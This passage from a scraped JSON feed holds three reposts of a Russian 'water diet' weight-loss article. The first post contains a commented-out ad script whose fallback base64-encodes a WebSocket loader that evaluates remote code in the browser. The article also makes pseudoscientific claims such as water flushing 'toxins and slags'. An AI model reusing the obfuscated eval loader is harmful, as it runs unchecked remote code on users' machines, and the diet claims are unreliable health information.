\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> «агрузка... \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>Многие диетологи согласятся с тем, что похудеть можно, всего лишь \x3cstrong>правильно употребляя воду\x3c/strong>. И подобный способ избавиться от лишних килограммов не имеет ничего общего с изнурительным голоданием. Кажется невозможным? Тогда давайте проверим!\x3c/p>\x3cp>Тем более что питаться можно как обычно, ни в чём себе не отказывая. Всё, что потребуется, — придерживаться следующих правил употребления воды.\x3c/p>\n\x3ch2>Принципы водной диеты\x3c/h2>\n\x3col>\n\x3cli>Перед любым приемом пищи следует пить воду. Если это небольшой перекус, то выпейте 1 стакан, если пышный стол — 2–3 стакана.\x3c/li>\n\x3cli>Ровно через 2 часа после еды выпейте то же количество воды, что и перед едой.\x3c/li>\n\x3cli>На водной диете можно употреблять все привычные блюда и даже немного алкоголя при условии, что каждые 100 г напитка будут компенсироваться 200 г воды.\x3c/li>\n\x3cli>Вода должна быть очищенная, без газа. Можно добавить дольку лимона или несколько капель его сока.\x3c/li>\n\x3cli>Количество выпитой жидкости (не считая сока, чая, супов) должно быть не менее 2 л в сутки. Но и не больше! 5–6 л воды могут уже привести к нарушению работы мочевыводящей системы.\x3c/li>\n\x3cli>Пить любую жидкость во время еды нежелательно.\x3c/li>\n\x3cli>Для более быстрого снижения веса замените один дневной прием пищи на воду.\x3c/li>\n\x3c/ol>\x3ch2>Почему работает водная диета?\x3c/h2>\n\x3cul>\n\x3cli>Снижается \x3cstrong>ощущение голода\x3c/strong> за счет того, что вода заполняет желудок.\x3c/li>\n\x3cli>Насыщение во время приема пищи наступает быстрее, что позволит вам \x3cstrong>не переедать\x3c/strong>.\x3c/li>\n\x3cli>Вода \x3cstrong>ускоряет метаболизм\x3c/strong>, выводит токсины и шлаки.\x3c/li>\n\x3cli>Привычка постоянно употреблять воду в чистом виде снизит желание пить высококалорийные напитки.\x3c/li>\n\x3c/ul>\x3ch2>Противопоказания к водной диете:\x3c/h2>\n\x3cul>\n\x3cli>сердечно-сосудистые заболевания;\x3c/li>\n\x3cli>заболевания мочевыводящей системы;\x3c/li>\n\x3cli>скачки артериального давления.\x3c/li>\n\x3c/ul>\x3c!-- A generated by theme -->\x3c!-- end A -->\x3cp>\x3cstrong>Диета на воде\x3c/strong> — действенный способ похудения для ленивых. Сочетание правильного водного режима и умеренных физических нагрузок станет \x3cstrong>экспресс-методом\x3c/strong> для избавления от лишнего веса. Отправьте статью худеющей подруге, ведь добиваться результатов вместе гораздо легче!\x3c/p>\x3cp>Источник\x3c/p>\x3c!-- A generated by theme -->\n\n \x3c!-- end A --> \n\n\n\x3cdiv id=\"subscribe_storyfox\">\n\x3cdiv class=\"subscribe_storyfox_inner\">\n\x3cp2>\x3cnoindex>\x3cnofollow>\r\n \x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://mirpoleznuxsovetov.mirtesen.ru/blog/43385028574","tags":["Здоровье","водная диета"],"date":1500650195,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20229191957,"photo_original":"https://mtdata.ru/u21/photo1A01/20229191957-0/original.jpg","width":696,"height":365}}],"group":{"display_name":"Страна Полезных Советов","url":"https://mirpoleznuxsovetov.mirtesen.ru","photo_original":"//mtdata.ru/u15/photoB2CE/20909902751-0/original.jpeg","id":30171049813,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1382453860907},"canonical_url":"http://fithacker.ru/articles/ela-vsyo-dazhe-makaronyi-na-noch-minus-6-kg-vsego-za-8-dney-na-vodnoy-diete/","topic":null,"title":"Ела всё, даже макароны на ночь! Минус 6 кг всего за 8 дней на водной диете.","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src =","post_type":"post","formattedDates":{"iso":"2017-07-21T15:16:35.000Z","ver1":"21 июля, 18:16","ver2":"21.07.2017 в 18:16","ver3":"21 июля, 18:16"},"images":[{"main":true,"url":"https://mtdata.ru/u21/photo1A01/20229191957-0/original.jpg","width":696,"height":365}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43587227557,"from_id":893465971,"from":{"id":893465971,"display_name":"Татьяна Рузина","url":"https://mirtesen.ru/people/893465971","photo_original":"https://mtdata.ru/u23/photoF721/20061619520-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30302495791,"text":"\x3cdiv dir=\"ltr\" style=\"text-align: left;\" trbidi=\"on\">\n\x3cdiv style=\"text-align: justify;\">\x3ca href=\"http://fithacker.ru/wp-content/uploads/2016/12/thumb.jpg\" target=\"_blank\">\x3cimg src=\"//mtdata.ru/u2/photoBC7F/20888920313-0/original.jpg#20888920313\" />\x3c/a>\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Многие диетологи согласятся с тем, что похудеть можно,\x3ca href=\"\" target=\"_blank\">\x3c/a> всего лишь правильно употребляя воду. И подобный способ избавиться от лишних килограммов не имеет ничего общего с изнурительным голоданием. Кажется невозможным? Тогда давайте проверим!\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Тем более что питаться можно как обычно, ни в чём себе не отказывая. Всё, что потребуется, — придерживаться следующих правил употребления воды.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Принципы водной диеты\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Перед любым приемом пищи следует пить воду. Если это небольшой перекус, то выпейте 1 стакан, если пышный стол — 2–3 стакана.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Ровно через 2 часа после еды выпейте то же количество воды, что и перед едой.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">На водной диете можно употреблять все привычные блюда и даже немного алкоголя при условии, что каждые 100 г напитка будут компенсироваться 200 г воды.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Вода должна быть очищенная, без газа. Можно добавить дольку лимона или несколько капель его сока.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Количество выпитой жидкости (не считая сока, чая, супов) должно быть не менее 2 л в сутки. Но и не больше! 5–6 л воды могут уже привести к нарушению работы мочевыводящей системы.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Пить любую жидкость во время еды нежелательно.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Для более быстрого снижения веса замените один дневной прием пищи на воду.\x3ca href=\"http://fithacker.ru/wp-content/uploads/2016/12/2-3.jpg\" target=\"_blank\">\x3cimg src=\"//mtdata.ru/u2/photoC1E4/20558138860-0/original.jpg#20558138860\" />\x3c/a>\n\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Почему работает водная диета?\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Снижается ощущение голода за счет того, что вода заполняет желудок.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Насыщение во время приема пищи наступает быстрее, что позволит вам не переедать.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Вода ускоряет метаболизм, выводит токсины и шлаки.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Привычка постоянно употреблять воду в чистом виде снизит желание пить высококалорийные напитки.\x3ca href=\"http://fithacker.ru/wp-content/uploads/2016/12/1-4.jpg\" target=\"_blank\">\x3cimg src=\"//mtdata.ru/u2/photoCF7A/20004284558-0/original.jpg#20004284558\" />\x3c/a>\n\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Противопоказания к водной диете:\x3c/div>\n\x3cdiv style=\"text-align: justify;\">сердечно-сосудистые заболевания;\x3c/div>\n\x3cdiv style=\"text-align: justify;\">заболевания мочевыводящей системы;\x3c/div>\n\x3cdiv style=\"text-align: justify;\">скачки артериального давления.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Диета на воде — действенный способ похудения для ленивых. Сочетание правильного водного режима и умеренных физических нагрузок станет экспресс-методом для избавления от лишнего веса. Отправьте статью худеющей подруге, ведь добиваться результатов вместе гораздо легче!\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3ca href=\"https://sovkusom.ru/kak-pohudet-s-pomoshchyu-vody/\" target=\"_blank\">Источник\x3c/a>\x3c/div>\n\x3c/div>","comments_count":0,"marks_count":1,"likes":{"count":1,"user_likes":0,"can_like":0,"marks_pluses":1,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":1}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30302495791.mirtesen.ru/blog/43587227557","tags":["похудение","вода","водная диета"],"date":1481248800,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20888920313,"photo_original":"https://mtdata.ru/u2/photoBC7F/20888920313-0/original.jpg","width":696,"height":365}}],"group":{"display_name":"Интересности для любознательных","url":"https://s30302495791.mirtesen.ru","photo_original":"//mtdata.ru/u24/group6770/cf32b688f8562c7261027411327a1ca0-0/__logo.jpeg","id":30302495791,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1391997197090},"canonical_url":"http://dobromirole.blogspot.com/2016/12/blog-post_78.html","topic":null,"title":"Без названия","preview_text":"Многие диетологи согласятся с тем, что похудеть можно, всего лишь правильно употребляя воду. И подобный способ избавиться от лишних килограммов не имеет ничего общего с изнурительным голоданием. Кажется невозможным? Тогда давайте проверим!\n \n \nТем более что питаться можно как обычно, ни в чём себе","post_type":"post","formattedDates":{"iso":"2016-12-09T02:00:00.000Z","ver1":"9 декабря, 5:00","ver2":"09.12.2016 в 5:00","ver3":"9 дек., 5:00"},"images":[{"main":true,"url":"https://mtdata.ru/u2/photoBC7F/20888920313-0/original.jpg","width":696,"height":365}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43262490204,"from_id":893465971,"from":{"id":893465971,"display_name":"Татьяна Рузина","url":"https://mirtesen.ru/people/893465971","photo_original":"https://mtdata.ru/u23/photoF721/20061619520-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30302495791,"text":"\x3cdiv dir=\"ltr\" style=\"text-align: left;\" trbidi=\"on\">\n\x3cdiv style=\"text-align: justify;\">\x3ca href=\"http://fithacker.ru/wp-content/uploads/2016/07/thumb-3.jpg\" target=\"_blank\">\x3cimg src=\"//mtdata.ru/u1/photo4BB9/20906373584-0/original.jpg#20906373584\" />\x3c/a>\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Многие диетологи согласятся \x3ca href=\"\" target=\"_blank\">\x3c/a>с тем, что похудеть можно, всего лишьправильно употребляя воду. И подобный способ избавиться от лишних килограммов не имеет ничего общего с изнурительным голоданием. Кажется невозможным? Тогда давайте проверим!\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Тем более что питаться можно как обычно, ни в чём себе не отказывая. Всё, что потребуется, — придерживаться следующих правил употребления воды.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Принципы водной диеты\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Перед любым приемом пищи следует пить воду. Если это небольшой перекус, то выпейте 1 стакан, если пышный стол — 2–3 стакана.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Ровно через 2 часа после еды выпейте то же количество воды, что и перед едой.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">На водной диете можно употреблять все привычные блюда и даже немного алкоголя при условии, что каждые 100 г напитка будут компенсироваться 200 г воды.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Вода должна быть очищенная, без газа. Можно добавить дольку лимона или несколько капель его сока.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Количество выпитой жидкости (не считая сока, чая, супов) должно быть не менее 2 л в сутки. Но и не больше! 5–6 л воды могут уже привести к нарушению работы мочевыводящей системы.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Пить любую жидкость во время еды нежелательно.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Для более быстрого снижения веса замените один дневной прием пищи на воду.\x3ca href=\"http://fithacker.ru/wp-content/uploads/2016/07/2-3.jpg\" target=\"_blank\">\x3cimg src=\"//mtdata.ru/u1/photo0E67/20129446433-0/original.jpg#20129446433\" />\x3c/a>\n\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Почему работает водная диета?\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Снижается ощущение голода за счет того, что вода заполняет желудок.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Насыщение во время приема пищи наступает быстрее, что позволит вам не переедать.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Вода ускоряет метаболизм, выводит токсины и шлаки.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Привычка постоянно употреблять воду в чистом виде снизит желание пить высококалорийные напитки.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Противопоказания к водной диете:\x3c/div>\n\x3cdiv style=\"text-align: justify;\">сердечно-сосудистые заболевания;\x3c/div>\n\x3cdiv style=\"text-align: justify;\">заболевания мочевыводящей системы;\x3c/div>\n\x3cdiv style=\"text-align: justify;\">скачки артериального давления.\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Диета на воде — действенный способ похудения для ленивых. Сочетание правильного водного режима и умеренных физических нагрузок станет экспресс-методом для избавления от лишнего веса. Отправьте статью худеющей подруге, ведь добиваться результатов вместе гораздо легче!\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">Худей, ни в чем себе не отказывая!\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3cbr />\x3c/div>\n\x3cdiv style=\"text-align: justify;\">\x3ca href=\"http://sovkusom.ru/kak-pohudet-s-pomoshchyu-vody/\" target=\"_blank\">Источник\x3c/a>\x3c/div>\n\x3c/div>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30302495791.mirtesen.ru/blog/43262490204","tags":["похудение","водная диета","диета"],"date":1469854800,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20906373584,"photo_original":"https://mtdata.ru/u1/photo4BB9/20906373584-0/original.jpg","width":696,"height":365}}],"group":{"display_name":"Интересности для любознательных","url":"https://s30302495791.mirtesen.ru","photo_original":"//mtdata.ru/u24/group6770/cf32b688f8562c7261027411327a1ca0-0/__logo.jpeg","id":30302495791,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1391997197090},"canonical_url":"http://dobromirole.blogspot.com/2016/07/6-8.html","topic":"spam","title":"Минус 6 кг всего за 8 дней на водной диете. Ела всё, даже макароны на ночь","preview_text":"Многие диетологи согласятся с тем, что похудеть можно, всего лишьправильно употребляя воду. И подобный способ избавиться от лишних килограммов не имеет ничего общего с изнурительным голоданием. Кажется невозможным? Тогда давайте проверим!\n \n \nТем более что питаться можно как обычно, ни в чём себе","post_type":"post","formattedDates":{"iso":"2016-07-30T05:00:00.000Z","ver1":"30 июля, 8:00","ver2":"30.07.2016 в 8:00","ver3":"30 июля, 8:00"},"images":[{"main":true,"url":"https://mtdata.ru/u1/photo4BB9/20906373584-0/original.jpg","width":696,"height":365}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"водная диета","tagId":80854719435,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"channelId":null,"isMobile":false,"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}
